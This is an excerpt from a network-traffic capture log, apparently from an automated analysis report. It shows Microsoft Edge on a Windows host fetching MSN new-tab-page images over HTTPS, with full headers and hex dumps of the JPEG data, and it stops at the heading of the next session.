2024-11-21 18:58:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:55 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 18:22:53 GMT X-Datacenter: eastus X-ActivityId: 73d94375-d35b-43fd-8e68-bf549e16ce39 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1P X-Source-Length: 105715 Content-Length: 105715 Cache-Control: public, max-age=257193 Expires: Sun, 24 Nov 2024 18:25:28 GMT Date: Thu, 21 Nov 2024 18:58:55 GMT Connection: close
2024-11-21 18:58:55 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-21 18:58:55 UTC	16384	IN	Data Raw: d1 34 48 97 92 c1 2d cb 56 83 08 76 d8 25 b9 6e c3 08 57 57 56 db 02 b0 e9 0c af 1c 17 60 a1 b6 57 8d 0e c1 b6 c8 db 43 b0 70 f6 19 1e 4b 62 b2 b0 dc 3d 97 92 cc 83 31 c3 70 dc b7 89 99 06 63 86 e1 e6 27 92 d5 a1 e6 3c 2d c3 c9 6e 5a b4 56 66 c3 70 f2 5b 96 ed 0b 32 d0 f6 1d 24 b7 25 bb 41 99 78 75 75 96 e5 96 80 23 c8 74 96 e5 96 05 e1 e3 ac ba cb 2c 61 5e 31 cb 72 d5 85 17 7b 46 37 8c b1 d0 4a 3c 74 6d 96 14 5a 8f 1d 5b 60 cd 78 f1 eb 06 36 de 36 d8 0d b6 db 6c 06 f1 eb ab 63 35 b7 8d ba 18 de 3d 6d b2 4c 6d e3 6c 03 5b 78 f1 80 59 b7 46 d8 05 db 74 78 c0 08 db 1b 6d 00 47 92 e8 db 65 17 96 dd 1b 68 0b 36 ea f5 80 6b 6f 1b 60 1a db c6 db 03 5b 78 db 00 d6 de 36 c0 35 e3 6d b0 06 db 6d b6 03 6d e3 6c 03 5e 3c 6d 80 36 de 3c 60 0d b6 db 60 18 f1 b6 d8 33 Data Ascii: 4H-Vv%nWWV`WCpKb=1pc'<-nZVfp[2$%Axuu#t,a^1r{F7J<tmZ[`x66lc5=mLml[xYFtxmGeh6ko`[x65mmml^<m6<``3
2024-11-21 18:58:55 UTC	2220	IN	Data Raw: 16 84 25 f4 f3 54 2a 7f c4 c0 3d e5 c6 dd 91 f1 21 5d d5 fb 35 93 69 49 d4 1e e7 50 a5 0d 8d e3 0f 01 35 36 96 13 e5 2a c2 0e 92 ca 91 74 9c c5 75 3f a3 94 50 93 50 4a 0f 0d 3b 9c 15 5c bd 68 c2 ce 29 d0 c1 8e fd 1d 5e 23 44 e3 b5 32 72 25 0a aa c9 e7 11 d9 21 aa 2b a8 90 00 04 78 12 7d c3 b5 a0 21 33 52 49 ac 67 af 2a 49 6a 98 ae 00 62 3c 64 81 e0 05 5c 49 1d 0b 76 59 00 bc bc 04 ce 22 69 53 f8 98 ee 60 b6 54 a0 54 0e 11 48 93 04 9e 1c 39 97 15 61 2a 56 25 a8 ac f2 1c fc 34 d8 1a 92 52 54 02 ae 0c 09 88 09 12 29 c6 b4 75 92 47 2b 59 d9 11 45 6b 20 22 aa d2 98 a4 f0 d6 44 e6 f4 20 58 50 a2 89 e4 8a 6d 05 5f 6e f6 b0 95 ee 44 a6 38 64 c4 a2 0a 65 50 49 e1 04 7b e5 ac 59 6e c8 30 d2 de 1d 3d 41 18 3c 9b b0 64 04 fa 47 89 67 37 79 38 00 db 59 91 00 8a 4c 7b Data Ascii: %T=!]5iIP56tu?PPJ;\h)^#D2r%!+x}!3RIgIjb<d\IvY"iS`TTH9aV%4RT)uG+YEk "D XPm_nD8dePI{Yn0=A<dGg7y8YL{
2024-11-21 18:58:55 UTC	16384	IN	Data Raw: 32 a0 27 98 d7 f4 71 8f 4f 6d 1f eb 23 10 15 15 89 e0 73 da f4 8f 5b a3 27 56 d3 e5 4d ef f2 b1 61 60 37 4e 32 c4 3b 6f 06 4a 0a d9 f8 b8 c4 cb f4 93 b5 64 17 93 c5 cb b5 0a d5 a7 89 fc 5a 8d aa 3b 11 2c a1 80 82 34 72 77 8e 86 e2 5b 11 09 57 4a 72 05 c4 37 67 20 d4 8a 50 b7 09 56 7f 2f 73 43 30 5d 19 f6 17 4b 87 78 98 4d c5 27 eb 83 c3 61 49 82 a2 00 3c 6b 1e e7 45 5e e9 ad f9 70 cf 32 75 d7 23 93 c5 eb 25 ba e5 fd a5 e1 23 04 75 09 f8 6f a7 62 a4 fb 43 50 b6 16 47 9c a4 9f f1 fd 1e d9 b8 16 3c d6 80 a8 f3 55 22 38 49 d7 8b 99 f3 09 b7 29 40 11 cc 0d 7c 4e bd cf 96 7d 64 61 95 67 ca d7 aa c7 81 73 29 51 ac 0d a5 ec 25 5a 94 fd dc 0b b7 f1 99 50 13 14 99 87 0f e6 63 48 f0 03 ec e3 e7 93 59 42 4d f8 24 4e 11 de e8 24 93 6a 0f f8 fd 8f dd a5 fc b5 d9 fd 92 Data Ascii: 2'qOm#s['VMa`7N2;oJdZ;,4rw[WJr7g PV/sC0]KxM'aI<kE^p2u#%#uobCPG<U"8I)@\|N}dags)Q%ZPcHYBM$N$j
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: 9a 7e e8 f6 07 5d d1 09 42 c0 04 98 26 29 31 f8 b8 c5 06 74 ce ba d3 c4 02 d7 09 42 46 7f f6 af b0 77 34 f5 94 98 92 12 39 02 67 df 0f 48 4d b6 02 7a 92 3e b1 49 ec 3e d7 0d 63 48 03 b5 a8 29 48 d3 11 1e 3f 8b 84 ab 83 22 ae f3 ee 7d f1 b2 08 25 31 f9 7b 5d 30 1e 0e 5e 2f f2 2f 3e b4 05 f5 66 22 2e 0e 1d af 70 fd 4b 94 7c 3b 9d 23 88 ee 65 88 8d 87 ea 5d 22 1c 83 b4 76 b1 c3 b0 05 0e b0 cc 5d 21 d8 03 87 af 5e 87 40 58 07 86 59 3c b9 bc a3 90 02 5d 59 0b a6 17 60 51 eb 24 32 61 6e c0 10 64 14 77 c1 c1 ee 17 0d 80 27 56 58 87 9d cc 40 07 b9 e3 23 af 73 a0 07 e2 f1 93 b9 bf 17 40 51 b7 7f 17 90 c0 28 df 83 bc 3c c2 d8 14 6d db 0e d6 e1 80 55 eb b4 37 0c 02 ad bb c3 58 b1 ea de b3 a9 83 6e c5 c5 03 e9 11 85 3f bc a8 0f 39 4e 30 57 29 28 ae 2e be 23 11 9d 84 Data Ascii: ~]B&)1tBFw49gHMz>I>cH)H?"}%1{]0^//>f".pK\|;#e]"v]!^@XY<]Y`Q$2andw'VX@#s@Q(<mU7Xn?9N0W)(.#
2024-11-21 18:58:56 UTC	7952	IN	Data Raw: 75 b0 2c 7a ad 27 7b 79 38 8d 54 12 71 28 9d 74 d7 66 81 f2 37 7a ab f7 a5 2b ea 6e 6c 07 08 8d 89 00 17 13 77 68 53 19 d9 a7 7f 27 cb 2e ba 0b e9 8c 9b e2 b2 f6 7e e3 d9 e8 26 75 dd 6f 51 d7 15 a5 29 b8 9b 26 84 7c 25 40 64 64 e9 cc 34 a1 62 e1 10 7c a3 90 d9 c6 84 1e 0c 9b cd d2 3c 84 72 a1 c4 66 b9 38 c6 ed f5 1f 84 a6 92 56 af 28 d3 41 cd f9 52 d4 d4 d4 6d da f1 0d db 82 6e 50 a1 e5 89 30 3c da e5 f0 98 a4 f2 87 89 bf 71 6b 4a 6d a6 42 7c b8 c1 94 a7 87 1a 3a e3 8f 32 ae c4 88 85 0f 2d 33 1c 5c 9b 7b e2 90 13 69 04 9a cf c2 8e 55 98 cb 6b c9 ee cf 3e 57 95 7b 6a c4 1a c6 ef a7 2a 52 94 54 b5 0f 88 c8 a4 e5 b6 20 cb 0d c0 3a e0 13 81 69 b4 4e 25 5c cf fa 06 6e 47 cb 5b 51 fe e2 b1 eb 23 44 8e e3 2e 52 af 59 44 56 20 08 03 21 11 14 e4 f9 ef 3b 8d b9 73 Data Ascii: u,z'{y8Tq(tf7z+nlwhS'.~&uoQ)&\|%@dd4b\|<rf8V(ARmnP0<qkJmB\|:2-3\{iUk>W{j*RT :iN%\nG[Q#D.RYDV !;s
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: 92 3b 61 b8 7e 55 a5 09 5b 72 92 e3 5e a0 b3 b3 3f f2 4e b5 0a 1f b2 50 19 46 be 3f 67 5b 9f f2 5e b5 63 c8 9b 68 98 ca 4f 6b e1 b0 7f 93 71 57 ea 7c 97 4b 93 ed 41 d7 02 6d 9d d0 ff 00 93 75 73 17 2d 5a 50 11 48 50 ff 00 c9 cc 1f f2 5b be 8d 9b 51 c6 69 db 57 e7 d2 34 2f 60 3c df 45 d2 bf f6 92 f2 ba f8 86 67 a3 8f f9 45 e9 1f d9 b3 4d 7e 2f bb bd cf f9 35 d8 50 45 84 a6 47 95 60 e2 23 bc 43 f3 40 13 31 1b 19 05 0d 1e 7f 21 d2 ff 00 f3 5e fa f8 8e ce 91 5e be eb ee 05 0d e9 ae 84 52 2b 5d 1c 0b bd 77 53 7c 27 1d fb b2 91 4f 31 a4 eb 9b 4c 92 83 29 24 7d 68 c8 2f 08 aa 07 70 99 7d 4b 47 4e 3f 46 94 17 92 5e 81 58 25 1b 8b 3f dc 52 c9 8d 49 74 06 e2 27 cc a0 9f cb 58 76 07 15 05 38 64 ed 2b 8a f7 7b 9f 4f 0a 5e 54 01 ad de 5a 47 95 6a 4c d0 c1 30 76 87 0d Data Ascii: ;a~U[r^?NPF?g[^chOkqW\|KAmus-ZPHP[QiW4/`<EgEM~/5PEG`#C@1!^^R+]wS\|'O1L)$}h/p}KGN?F^X%?RIt'Xv8d+{O^TZGjL0v
2024-11-21 18:58:56 UTC	14144	IN	Data Raw: 0c a3 93 e8 4d 3d f9 13 42 d2 6f e0 09 9c 2b 04 0a 56 93 97 86 75 72 96 b0 6c d2 80 19 e3 a3 e6 66 20 72 6a 16 ee 11 47 cb a9 a4 b2 69 6d bf 31 d9 1b 7a 67 52 4f 1a fb 5e ef 04 cc c3 52 c2 85 7c 49 11 cc 7b db 3d 3a 2f 11 09 c0 38 7b f3 96 77 21 b5 35 c7 20 cc 8d 8d 2b a9 ac 7d 6c 62 50 06 a9 f1 64 5f 4c 51 49 1b 64 31 60 50 49 a5 69 f5 f7 74 b0 ef 4c 43 0b 11 38 73 73 ad dd 99 15 8d 78 38 01 5c c0 19 72 97 54 12 9a 35 28 da 79 00 b2 6e 28 10 a4 a8 83 ab e8 fa 4f 5b f5 06 ea 51 76 00 54 00 a3 48 e3 2f 8b 4d c2 0c 17 3d 24 69 13 ee fb 3e 0d 5d 18 4a 35 28 a7 96 4f 6a 2c f6 2c 57 15 15 42 c1 e4 42 bd be c7 11 7d 3d b5 d5 76 12 76 02 93 ff 00 42 fc c0 aa ea 2a 9b 85 20 54 42 8f b1 ac 74 fe b8 bd 6d 50 a3 8b 8a b3 1c df 82 fa 3d 48 ab d3 92 7e 57 16 5d 9d 4f Data Ascii: M=Bo+Vurlf rjGim1zgRO^R\|I{=:/8{w!5 +}lbPd_LQId1`PIitLC8ssx8\rT5(yn(O[QvTH/M=$i>]J5(Oj,,WBB}=vvB* TBtmP=H~W]O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49823	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:55 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 08 Nov 2024 13:42:23 GMT X-Datacenter: westus X-ActivityId: 54514d10-e954-4c08-a458-7867f3149dc5 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0Z X-Source-Length: 132415 Content-Length: 132415 Cache-Control: public, max-age=67362 Expires: Fri, 22 Nov 2024 13:41:37 GMT Date: Thu, 21 Nov 2024 18:58:55 GMT Connection: close
2024-11-21 18:58:55 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-21 18:58:55 UTC	16384	IN	Data Raw: f8 87 0a af d5 5e 42 ab 9e 5e 85 a9 ea 08 31 37 1a bb d2 b5 11 2e 8d c4 52 ad 95 05 57 2b 7e 0b 50 3b d3 20 d4 c2 c5 58 73 63 aa 46 4c 73 b9 a3 76 1f 5e ab 41 5e 35 12 ea 0d ab 75 62 3c 6a 05 57 85 2f ea 6d 3d c1 1b 55 0d 9d cd 56 57 a5 2e c6 38 55 c9 11 6d 54 ce c4 ef 5b eb b0 aa 5a 95 26 8f 24 46 ce 1c cd 50 f5 4d 0e 92 2a d8 35 7c 62 36 b0 e4 6a cf 54 55 1a 4d 47 41 a7 a8 9d d5 de b7 2a af d6 6a 97 a7 5b e9 d6 e8 fb 54 72 9a 58 b1 a6 4a 55 25 6a e6 91 76 a8 12 6a d9 8e 15 1d 35 65 34 ab 2c 2a bd 46 af d3 54 1a 64 96 a9 ac 9a 8c 56 de 9b 24 0d 5c 2a bb d5 83 55 4a a2 fa ac 93 c2 b6 0d 5b 06 a1 64 c8 35 9e 99 34 f6 81 4d 2a 0a 7c 9b 88 4f a5 57 04 a2 da 05 42 14 54 73 da b8 c2 61 16 a7 ec 15 79 d3 ce a9 3a 69 79 53 35 af 2a 59 98 9a 99 93 c2 a9 20 d1 22 Data Ascii: ^B^17.RW+~P; XscFLsv^A^5ub<jW/m=UVW.8UmT[Z&$FPM5\|b6jTUMGAj[TrXJU%jvj5e4,FTdV$\UJ[d54M\|OWBTsay:iyS5Y "
2024-11-21 18:58:55 UTC	2439	IN	Data Raw: ca 97 18 0e dd ab 1e 55 0f c2 30 e5 7d a8 e9 56 b0 99 32 60 8a ac fb 4f 09 db 8f d2 97 2a 7c 60 37 e1 0c c1 89 e5 5a 7b 46 1c 87 f5 ca ba 21 85 47 ba dc 26 a9 cd e9 2c 33 34 13 6e 7f 2a 5c a9 71 80 a3 b3 c9 3f f1 54 e5 ed 1c fb d4 c6 93 ff 00 34 73 0b e3 c8 a7 4b c8 9b ff 00 2a b3 30 4c 60 16 3a 47 05 e7 e1 f9 fc e9 f2 ad c6 04 63 c0 d9 f1 eb c7 f0 71 32 27 e9 bc 75 da b7 f0 a7 8e dc bf 99 ab b0 65 40 e5 51 a0 64 26 27 8f 38 e4 3e 54 55 57 4c 98 13 3b 74 a5 72 b1 a6 31 cd be 84 e7 03 88 06 de 3c 2a a1 80 bd c0 b7 03 c2 2b a7 7c 68 18 41 8d ad c0 8e 44 57 95 81 05 14 44 5f a0 aa e4 d7 07 35 f8 67 fb 26 a9 3d bb b7 02 2b ac 0d 0b cf 4f fc d4 43 de 0e cd c7 95 b6 a5 ce 97 09 ea e2 9b 03 02 40 14 ca 61 68 bf fc 57 63 81 71 b2 ef 24 6f e1 4b f7 19 31 df 42 f0 Data Ascii: U0}V2`O\|`7Z{F!G&,34n\q?T4sK0L`:Gcq2'ue@Qd&'8>TUWL;tr1<+\|hADWD_5g&=+OC@ahWcq$oK1B
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: 2a 2e 57 53 40 e0 b7 8e bc aa 9c 78 c2 61 d1 62 44 a9 9b 6c 4e f4 f7 b2 d6 8b 41 89 17 e1 d0 71 fc aa 61 c3 e3 16 22 45 45 5b d3 2c 0e c6 0c 74 da ac 46 c5 3a 44 45 f6 bd 6d 1e d4 a6 92 16 4f 19 16 e5 56 06 d4 58 11 00 6d 13 33 48 66 25 32 e2 c6 a6 03 31 73 e4 3f 7d 20 b9 cc e7 bc dd e3 a4 45 2d 16 dd 46 85 60 4c 5f 7a ae 54 ab 31 9d b6 e5 43 7b 7c 8e e3 41 37 e3 c2 6d c2 99 1a d7 3e 96 8b 02 57 f8 87 2f 3a 7a 3d a9 42 af 06 24 0b 4f 85 5a b8 c5 c9 32 06 de 3c 29 86 c7 a3 41 51 66 26 47 9f 1a 5c a1 46 7c 63 a1 1e 3c 2b 54 b4 00 5a db a8 fa d6 85 5c a4 88 fd d4 43 22 85 50 63 dc 47 eb 4a 89 0c 41 03 9f 53 49 54 98 d6 09 58 f8 45 8d 3f e9 ab 28 60 7c ff 00 ae b5 af 97 4f b9 80 13 e5 f9 d2 1e b2 a3 33 7f d3 62 27 f8 4f 1e b1 cc 78 8a da 61 04 24 cd ad fd 7f Data Ascii: *.WS@xabDlNAqa"EE[,tF:DEmOVXm3Hf%21s?} E-F`L_zT1C{\|A7m>W/:z=B$OZ2<)AQf&G\F\|c<+TZ\C"PcGJASITXE?(`\|O3b'Oxa$
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: 42 b1 b7 01 4b 4a 94 11 9f 2a ac 42 84 11 22 39 19 f6 dc 7b b8 4d eb 99 ff 00 20 be a9 95 98 01 75 a1 22 d6 be f0 3c eb b6 ee 71 e0 0c 7d a7 54 69 22 e4 7b 48 33 26 66 7c 0d 70 d9 f1 0b 9f 78 c8 2e cb 6b 89 99 b9 13 c6 47 0a 77 1b 34 9d ef 62 08 a5 d2 db d8 c4 83 06 36 de 8c 76 8a ba 17 23 c9 09 a8 c0 23 dc 49 81 ce de d3 40 b0 13 8c 06 0a c2 79 fe 46 0f 0e 15 7f 7b 94 a6 1c 64 29 5d 40 12 3a eb 73 36 3b 79 55 4d 26 f8 12 cf fe 44 34 fa 68 aa 9e 40 5b ad 4b d4 9c 64 b2 87 76 31 a4 7b 4a 29 1b b1 83 06 36 02 f0 68 5e 11 8f 4a 33 46 bc 9f 68 d9 64 48 24 1b df ee 2c 75 da 89 60 c0 0b 92 cc 34 07 2e 58 9f e1 f9 93 14 f2 cb 7d 34 82 7d c7 6d e8 ae 3c 88 9d b8 64 6d 41 21 a6 37 86 76 04 18 e5 04 57 39 88 a6 6c 99 75 e0 51 ae 09 ba 9d 10 49 f6 83 11 bc 47 95 74 Data Ascii: BKJ*B"9{M u"<q}Ti"{H3&f\|px.kGw4b6v##I@yF{d)]@:s6;yUM&D4h@[Kdv1{J)6h^J3FhdH$,u`4.X}4}m<dmA!7vW9luQIGt
2024-11-21 18:58:56 UTC	7952	IN	Data Raw: 64 68 3b 00 bb 73 dc 7e 54 8e 3c da 89 0c 35 ba 83 ab 93 2f d9 3c c8 fb a6 ab 2e c6 34 37 b3 27 dd 85 80 00 be a5 82 25 78 d4 af 63 5e b3 ea 1a f2 ae 31 bd 80 6d 42 24 a8 0b b1 8e b4 c1 ee 55 b4 b2 b3 44 75 2c 7a 88 81 42 1b 2e 22 c8 34 08 4f 82 05 a4 8d 8c c4 9e 36 e3 4a e2 38 e0 b0 52 46 d2 a6 0a ab 1f 7c 29 92 02 9b f1 aa ad 2d 1e 2e b9 13 49 c8 4e ae 04 79 88 3e ee 94 0b f0 f6 d6 32 71 86 f7 b4 0e 56 bd 13 c6 9a 95 d9 8f c0 04 7d a9 43 78 3b 5e 35 0d ea c6 ed b1 37 a8 15 8a 16 21 ac 62 2f c0 81 6b f9 ef 4b 67 66 c2 1f b6 fb ac cc 24 98 fb b6 17 92 00 53 17 aa 7d 02 40 0a fc 8d c8 63 7d 8d c1 b7 2a 22 35 a0 8c 8b 74 d0 75 7d e8 36 24 f0 3c 26 38 1a 51 90 62 7d ed a6 17 8c 75 1c 63 98 b8 f2 ab da 35 0a 28 66 46 05 8b c1 20 a3 28 99 aa 10 a6 37 d0 15 25 Data Ascii: dh;s~T<5/<.47'%xc^1mB$UDu,zB."4O6J8RF\|)-.INy>2qV}Cx;^57!b/kKgf$S}@c}*"5tu}6$<&8Qb}uc5(fF (7%
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: 71 22 b8 eb 61 23 da 06 9f 81 f9 f9 fe b4 fa 77 59 15 81 c8 41 13 71 04 32 f9 19 36 f9 55 ee 6f d0 b6 e9 50 93 8a 0e d1 36 bc 11 cb 63 70 05 ab 9a ee b1 13 93 d4 59 30 2f a4 cc 8d ec 3e 76 f3 a7 67 13 20 18 49 89 d5 1b ec 41 31 70 77 eb e1 57 ac 64 56 56 82 34 df 7b 10 4e e0 df 7b 8e 57 a0 65 3b 1a 77 15 76 dd c7 ac 91 c6 3e b1 b8 3e 16 a9 63 4d 4c e6 20 30 50 77 dd 5a 41 f2 d8 8e 37 ae 6b 22 b7 6d 92 cd 73 72 38 fe d4 6d e7 04 82 2b aa c5 94 15 43 6d ee 07 2d be 56 a9 29 7e 0f 3e 32 75 b1 ba 81 a8 79 83 ee 12 45 cd 71 d9 f5 02 fc 47 c3 6d ef 04 78 57 43 93 36 bc b1 a8 ed 03 96 92 0e df 99 a1 99 55 95 81 d3 3e d9 3a 62 6d fc 36 eb b4 53 85 97 80 84 08 f9 08 32 b6 89 de 7a c7 02 2b 47 a9 85 9a 7d c0 83 71 b1 f1 e1 35 28 61 91 98 5e 45 d7 88 ff 00 69 bd 66 Data Ascii: q"a#wYAq26UoP6cpY0/>vg IA1pwWdVV4{N{We;wv>>cML 0PwZA7k"msr8m+Cm-V)~>2uyEqGmxWC6U>:bm6S2z+G}q5(a^Eif
2024-11-21 18:58:56 UTC	16384	IN	Data Raw: bc 2b 7c 27 d4 80 ca c0 a3 0f 8a 2e 0e fe e8 ab 1b 03 80 01 46 f3 82 47 ed 4f 97 e7 4e 63 4c 24 8c 97 13 2d f1 0d f6 65 bc 7d 29 a7 f4 d7 de 99 32 a8 27 82 f2 e7 a5 bf 4a 9b 0e 00 36 43 8b 5a b5 a4 58 9f 88 10 7c be 55 3c 39 5d ca af dd dc 9d 22 07 2b 6d 3f 39 a6 f5 e4 76 20 65 57 93 b6 44 23 7e ba 7f 32 28 8b 06 40 40 5c 51 33 01 82 b1 22 d2 7d bc 2f 14 98 a3 77 09 a8 a9 1a 54 0f 8b 81 8b 6f cf 9c 9a 55 fb 5c 79 14 36 37 52 67 54 1f 6c 83 c0 1f 84 f8 1a 97 a0 a4 df 52 83 bc b7 b7 e7 ac 6f e5 4f 1e d4 95 03 1b 28 d2 a4 15 d4 8d aa 79 df af 15 aa 92 97 90 77 39 30 3f f7 03 28 70 2d 1f 0e 9d 8a cd ad 57 3a 8c aa 35 fb a6 c3 2a dc c4 6e dc 59 7c e1 87 33 45 57 17 72 10 00 9a d4 6e 80 6a 5f ff 00 a6 f0 47 9a c5 4b 1e 3c 3f 09 5c 9d b9 bc 40 62 92 79 06 1a 84 Data Ascii: +\|'.FGONcL$-e})2'J6CZX\|U<9]"+m?9v eWD#~2(@@\Q3"}/wToU\y67RgTlRoO(yw90?(p-W:5*nY\|3EWrnj_GK<?\@by
2024-11-21 18:58:56 UTC	7952	IN	Data Raw: c1 86 57 50 1a 54 9f ba 49 03 a1 b4 8a ea bf 19 8a 3d 1c 58 d0 a9 13 65 32 bb 11 ee 1a 49 99 91 bd 0b 75 5c f8 8a 11 61 2f 0b 77 1c d9 0d 83 8b 49 56 86 e3 36 34 5c f1 93 5a d7 e8 9c 7b 09 cd 94 2b fb 4e 52 22 7e 3d 23 e8 01 3f 3a 1b 93 20 d4 34 a2 09 bd c6 a3 f5 69 a7 f3 e1 67 50 71 1f 54 09 f8 77 e7 75 3e ef cc 50 8c a1 91 86 a0 41 81 20 ef b7 2a e5 bb 12 9f 9d 50 4d ed 56 23 70 e7 f9 45 41 58 15 53 f5 f1 a5 d1 8c 75 fd f5 26 61 4f a6 54 49 8b 5f 94 1a 86 47 d5 a9 85 2a c4 b1 d3 bf f3 ab 7a 47 11 fa d3 4c 5d 9b dd 8c 93 bc af e4 2a 28 23 11 f3 11 57 64 ff 00 4f cc 2f e5 7a 44 86 9d 23 60 7e a6 94 53 54 1d 40 5f 8d ba d1 35 c6 5d bd bb b0 02 78 02 39 7f 3e 1c 29 64 10 ab e3 27 9f f0 af ea 6b a3 c2 74 e2 66 d1 2d b6 d0 88 3a f3 37 f6 a8 f3 37 aa 93 6c 1c Data Ascii: WPTI=Xe2Iu\a/wIV64\Z{+NR"~=#?: 4igPqTwu>PA PMV#pEAXSu&aOTI_GzGL]*(#WdO/zD#`~ST@_5]x9>)d'ktf-:77l
2024-11-21 18:58:56 UTC	16288	IN	Data Raw: 00 24 1e a6 89 66 c5 91 41 d2 17 4b 03 a6 76 df ac cd 0d 00 85 92 d8 41 13 6d 1c 87 ec 50 b4 68 26 86 05 0a 9b 81 69 02 e6 23 ee f3 b5 5d 95 d1 40 fe da f0 17 2c 79 9e 0c 2a b0 65 92 72 27 b8 09 3a 4e e7 8f c0 29 7e e0 9b 29 71 bc fd ee 5e 54 ab 12 4c 9a 9d a3 1e 31 6e 44 ee 40 e2 4d 16 6c ac 33 ab 7b 63 de 4f b5 76 51 ce 26 26 84 60 00 3b 7b b9 70 ea 0f e9 4d e4 70 27 98 58 1e 24 12 6a 5a 78 3a 1c be 5c 64 00 76 95 20 0d f6 f7 47 d0 1a a3 23 31 33 bc 10 0d 81 89 99 24 45 5f 86 3d 30 5a c0 85 df a4 f2 aa 87 bf 1b 31 90 43 8f 70 be c3 8f 18 a2 7c 20 39 c3 3b 58 03 1c 3c bf ad aa ec 1d cb e1 61 36 33 b8 e4 6a 04 e8 70 c7 da 60 1d 40 02 ad e6 2d f2 aa b2 63 46 d4 55 f6 33 1c 7a fc f6 a5 0a 8b b1 d4 cc d3 f7 48 9b ef 22 87 64 d2 b9 10 70 d4 5c f8 1b 7e b4 4b Data Ascii: $fAKvAmPh&i#]@,y*er':N)~)q^TL1nD@Ml3{cOvQ&&`;{pMp'X$jZx:\dv G#13$E_=0Z1Cp\| 9;X<a63jp`@-cFU3zH"dp\~K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49825	23.44.133.17	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
